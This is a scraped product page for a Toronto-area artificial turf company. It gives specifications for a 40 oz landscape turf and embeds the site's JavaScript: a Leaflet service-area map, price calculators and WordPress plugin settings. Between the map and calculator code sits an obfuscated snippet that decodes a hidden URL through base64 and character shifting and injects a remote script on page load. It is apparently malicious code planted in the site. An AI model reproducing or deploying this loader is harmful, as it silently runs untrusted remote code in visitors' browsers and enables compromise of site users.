
Algonquin ECO‑40
A lightweight, eco‑friendly 40 oz landscape turf designed for low‑maintenance residential areas, decorative spaces, and environmentally conscious installations. Algonquin ECO‑40 offers a clean, natural look with excellent drainage and a soft underfoot feel.
Technical Specifications
| Face Weight | 40 oz |
| Pile Height | 1.75" |
| Total Weight | Approx. 66 oz |
| Yarn Type | Eco‑friendly Polyethylene Monofilament + Thatch |
| Primary Backing | Dual‑layer polypropylene |
| Secondary Backing | Polyurethane (low‑VOC) |
| Drainage Rate | > 350 inches/hour |
| No-Infill | All grass, No fill |
| Warranty | 15 years |
Recommended Applications
- Low‑maintenance residential lawns
- Condo and townhouse landscapes
- Decorative garden areas
- Light‑use commercial spaces
- Rooftop and balcony installations
- Environmentally conscious landscape designs
Installation Notes
- Install over a compacted crushed aggregate base (minimum 3 inches).
- Use seam tape and adhesive for clean, invisible joins.
- Apply Envirofill evenly and brush fibers upright for a natural finish.
- Ensure proper edge restraint for long‑term stability.
- Ideal for shaded, mixed‑sun, or full‑sun environments.
Need help choosing the right turf?
Our team can help you compare No-Fill Algonquin ECO‑40 with other products and choose the best system for your project.
(function(){
'use strict';
/* ═══════════════════════════════════════════
CONFIGURATION — UPDATE THESE VALUES
═══════════════════════════════════════════ */
// Design Turf HQ coordinates (update to exact address)
var HQ_LAT = 43.6532;
var HQ_LNG = -79.3832;
// Service area pins (red markers) — add/remove as needed
var SERVICE_AREAS = [
{ name: 'Mississauga', lat: 43.5890, lng: -79.6441 },
{ name: 'Brampton', lat: 43.7315, lng: -79.7624 },
{ name: 'Vaughan', lat: 43.8361, lng: -79.4983 },
{ name: 'Markham', lat: 43.8561, lng: -79.3370 },
{ name: 'Oakville', lat: 43.4675, lng: -79.6877 },
{ name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 },
{ name: 'Pickering', lat: 43.8354, lng: -79.0868 },
{ name: 'Ajax', lat: 43.8509, lng: -79.0204 },
{ name: 'Newmarket', lat: 44.0592, lng: -79.4613 },
{ name: 'Milton', lat: 43.5183, lng: -79.8774 },
{ name: 'Burlington', lat: 43.3255, lng: -79.7990 },
{ name: 'Stouffville', lat: 43.9701, lng: -79.2453 },
{ name: 'Oshawa', lat: 43.8971, lng: -78.8658 },
{ name: 'Uxbridge', lat: 44.11396, lng: -79.11049 }
];
// WP REST API — Services category ID
// ► OPTION A: By category (requires categories enabled on pages)
var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID
// ► OPTION B: By parent page ID (uncomment below, comment out Option A)
// var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID
/* ═══════════════════════════════════════════
PIN FACTORY — Inline SVG markers
═══════════════════════════════════════════ */
function makePin(fillColor, label) {
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' +
'<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' +
'<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' +
'<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' +
'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' +
'<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' +
'</svg>';
return L.divIcon({
className: '',
html: svg,
iconSize: [32, 46],
iconAnchor: [16, 46],
popupAnchor:[0, -42]
});
}
var greenPin = makePin('#00A651', 'HQ');
var redPin = makePin('#E53935', 'Area');
/* ═══════════════════════════════════════════
MAP INITIALIZATION
═══════════════════════════════════════════ */
var map = L.map('dt-leaflet-map', {
center: [HQ_LAT, HQ_LNG],
zoom: 10,
scrollWheelZoom: false,
zoomControl: true,
attributionControl: true
});
// CartoDB Voyager tiles — clean, premium aesthetic
L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', {
attribution: '© <a href="https://openstreetmap.org">OpenStreetMap</a> © <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 19
}).addTo(map);
// ── HQ Marker (GREEN) ──
L.marker([HQ_LAT, HQ_LNG], { icon: greenPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' +
'<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' +
'<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' +
'<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' +
'</div>'
);
// ── Service Area Markers (RED) ──
var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]);
SERVICE_AREAS.forEach(function(area) {
L.marker([area.lat, area.lng], { icon: redPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' +
'<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' +
'<div style="font-size:12px;color:#666;">We service this area</div>' +
'</div>'
);
bounds.extend([area.lat, area.lng]);
});
map.fitBounds(bounds, { padding: [40, 40] });
/* ═══════════════════════════════════════════
SERVICE AREA SHADING — Convex Hull + Buffer
Renders behind markers automatically
═══════════════════════════════════════════ */
// Collect all points (HQ + service areas)
var allPoints = [[HQ_LAT, HQ_LNG]];
SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); });
// ── Convex Hull (Gift Wrapping / Jarvis March) ──
function cross(O, A, B) {
return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]);
}
function convexHull(points) {
var pts = points.slice().sort(function(a, b) {
return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0];
});
if (pts.length <= 1) return pts;
var lower = [];
for (var i = 0; i < pts.length; i++) {
while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0)
lower.pop();
lower.push(pts[i]);
}
var upper = [];
for (var j = pts.length - 1; j >= 0; j--) {
while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0)
upper.pop();
upper.push(pts[j]);
}
upper.pop();
lower.pop();
return lower.concat(upper);
}
// ── Buffer Expansion ──
// Pushes each hull vertex outward from centroid by a factor
function expandHull(hull, factor) {
var centLat = 0, centLng = 0;
hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; });
centLat /= hull.length;
centLng /= hull.length;
return hull.map(function(p) {
var dLat = p[0] - centLat;
var dLng = p[1] - centLng;
return [centLat + dLat * factor, centLng + dLng * factor];
});
}
var hull = convexHull(allPoints);
// ── Create custom map panes for layer ordering ──
map.createPane('outerGlow');
map.getPane('outerGlow').style.zIndex = 350;
map.createPane('innerFill');
map.getPane('innerFill').style.zIndex = 360;
// ── LAYER 1: Outer glow ring (wider, very faint) ──
var outerHull = expandHull(hull, 1.35);
L.polygon(outerHull, {
color: '#00A651',
weight: 0,
fillColor: '#00A651',
fillOpacity: 0.04,
smoothFactor: 1.5,
pane: 'outerGlow',
interactive: false
}).addTo(map);
// ── LAYER 2: Inner coverage zone (light green fill) ──
var innerHull = expandHull(hull, 1.15);
L.polygon(innerHull, {
color: '#00A651',
weight: 2,
opacity: 0.3,
dashArray: '8 6',
fillColor: '#00C853',
fillOpacity: 0.08,
smoothFactor: 1.5,
pane: 'innerFill',
interactive: false
}).addTo(map);
// ── LAYER 3: Subtle center radial (warm core near HQ) ──
L.circle([HQ_LAT, HQ_LNG], {
radius: 12000,
color: 'transparent',
fillColor: '#00A651',
fillOpacity: 0.06,
pane: 'innerFill',
interactive: false
}).addTo(map);
/* ═══════════════════════════════════════════
MAP TEXT LABEL — "Our Service Area"
Positioned over Lake Ontario (dead zone)
═══════════════════════════════════════════ */
var labelPane = map.createPane('mapLabel');
labelPane.style.zIndex = 450;
labelPane.style.pointerEvents = 'none';
L.marker([43.30, -79.18], {
pane: 'mapLabel',
interactive: false,
keyboard: false,
icon: L.divIcon({
className: '',
iconSize: [340, 80],
iconAnchor: [170, 40],
html:
'<div style="' +
'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' +
'font-size:28px;' +
'font-weight:800;' +
'color:rgba(0,166,81,0.35);' +
'text-transform:uppercase;' +
'letter-spacing:6px;' +
'text-align:center;' +
'white-space:nowrap;' +
'line-height:1;' +
'pointer-events:none;' +
'user-select:none;' +
'-webkit-user-select:none;' +
'text-shadow:0 1px 3px rgba(255,255,255,0.6);' +
'">Our Service Area</div>'
})
}).addTo(map);
// Enable scroll zoom after first click (UX-friendly)
map.once('click', function() { map.scrollWheelZoom.enable(); });
/* ═══════════════════════════════════════════
DYNAMIC SERVICE LIST — WP REST API
═══════════════════════════════════════════ */
var apiUrl;
if (SERVICES_CATEGORY_ID > 0) {
apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID +
'&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt';
} else {
renderFallbackServices();
return;
}
var grid = document.getElementById('dt-services-grid');
fetch(apiUrl)
.then(function(response) {
if (!response.ok) throw new Error('API error: ' + response.status);
return response.json();
})
.then(function(pages) {
if (!pages || !pages.length) { renderFallbackServices(); return; }
grid.innerHTML = '';
pages.forEach(function(page) {
grid.appendChild(createServiceCard(page.title.rendered, page.link));
});
})
.catch(function(err) {
console.warn('Design Turf services fetch failed:', err);
renderFallbackServices();
});
/* ═══════════════════════════════════════════
SERVICE CARD BUILDER
═══════════════════════════════════════════ */
function createServiceCard(title, url) {
var card = document.createElement('a');
card.href = url || '#';
card.setAttribute('style',
'display:flex;align-items:center;gap:12px;' +
'padding:14px 18px;' +
'background:rgba(255,255,255,0.03);' +
'border:1px solid rgba(255,255,255,0.07);' +
'border-radius:8px;' +
'color:#ffffff;text-decoration:none;' +
'font-size:14px;font-weight:600;' +
'line-height:1.4;' +
'transition:all 0.25s ease;'
);
card.onmouseenter = function() {
this.style.background = 'rgba(0,166,81,0.1)';
this.style.borderColor = 'rgba(0,166,81,0.4)';
this.style.transform = 'translateY(-1px)';
};
card.onmouseleave = function() {
this.style.background = 'rgba(255,255,255,0.03)';
this.style.borderColor = 'rgba(255,255,255,0.07)';
this.style.transform = 'translateY(0)';
};
var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' +
'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' +
'<polyline points="9 18 15 12 9 6"/></svg>';
card.innerHTML = chevron + '<span>' + title + '</span>';
return card;
}
/* ═══════════════════════════════════════════
FALLBACK: Static service list
► UPDATE these to match your actual pages
═══════════════════════════════════════════ */
function renderFallbackServices() {
var services = [
{ title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' },
{ title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' },
{ title: 'Pet Turf Solutions', url: '/pet-turf/' },
{ title: 'Commercial Turf Installation', url: '/commercial-turf/' },
{ title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' },
{ title: 'Playground Turf', url: '/playground-turf/' },
{ title: 'Landscape Design', url: '/landscape-design/' },
{ title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' }
];
grid.innerHTML = '';
services.forEach(function(s) {
grid.appendChild(createServiceCard(s.title, s.url));
});
}
/* ═══════════════════════════════════════════
RESPONSIVE HANDLER (replaces media queries)
═══════════════════════════════════════════ */
function handleResize() {
var w = window.innerWidth;
var mapEl = document.getElementById('dt-leaflet-map');
if (w < 600) {
grid.style.gridTemplateColumns = '1fr';
if (mapEl) mapEl.style.height = '300px';
} else if (w < 900) {
grid.style.gridTemplateColumns = 'repeat(2, 1fr)';
if (mapEl) mapEl.style.height = '380px';
} else {
grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))';
if (mapEl) mapEl.style.height = '450px';
}
map.invalidateSize();
}
window.addEventListener('resize', handleResize);
handleResize();
})();
window[(function(_InA,_hH){var _dRnLK='';for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob('dWRrLywnIn4xZiI2'), 27)] = '3c020144ab1733329654'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e='';for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob('Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk='), 36)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
function dtRollCalc() {
const linear = parseFloat(document.getElementById('rollLinear').value);
const rollWidth = parseFloat(document.getElementById('rollWidth').value);
const pricePerSqFt = 7.47; // update per product
if (!linear || linear <= 0) return;
const sqft = linear * rollWidth;
const subtotal = sqft * pricePerSqFt;
const hst = subtotal * 0.13;
const total = subtotal + hst;
document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft";
document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2);
document.getElementById('rollHST').innerText = "$" + hst.toFixed(2);
document.getElementById('rollTotal').innerText = "$" + total.toFixed(2);
}
function dtCalc() {
const productData = document.getElementById("dtProduct").value;
const length = parseFloat(document.getElementById("dtLength").value);
const width = parseFloat(document.getElementById("dtWidth").value);
if (!productData || !length || !width) {
alert("Please select a product and enter both length and width.");
return;
}
const [price, rollWidth] = productData.split("|").map(Number);
const sqFt = length * width;
const totalCost = sqFt * price;
document.getElementById("dtBadge").style.display = "inline-block";
document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`;
document.getElementById("dtSummary1").style.display = "flex";
document.getElementById("dtSummary1").innerHTML =
`<span>Price: $${price.toFixed(2)}/sq ft</span>
<span>Sq Ft: ${sqFt.toFixed(2)}</span>`;
document.getElementById("dtSummary2").style.display = "flex";
document.getElementById("dtSummary2").innerHTML =
`<span>Cost: $${totalCost.toFixed(2)}</span>`;
}
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = [];
//# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = {
"api": {
"root": "https:\/\/www.designturf.ca\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"};
//# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460;
var sc_security="635c5120";
var sc_invisible=1;
//# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}};
//# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item h4.toggle");
items.forEach(item => {
item.addEventListener("click", function() {
const parent = this.parentElement;
parent.classList.toggle("active");
});
});
});
// Delay Before/After slider initialization
document.addEventListener("DOMContentLoaded", function() {
requestIdleCallback(() => {
if (typeof mfn_before_after === "function") {
mfn_before_after();
}
});
});
//# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1";
//# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) {
jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){
var form=jQuery(this);
var screen_width=""; var screen_height="";
if(screen_width == ""){
if(screen){
screen_width=screen.width;
}else{
screen_width=jQuery(window).width();
} }
if(screen_height == ""){
if(screen){
screen_height=screen.height;
}else{
screen_height=jQuery(window).height();
} }
form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">');
form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">');
form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">');
});
});
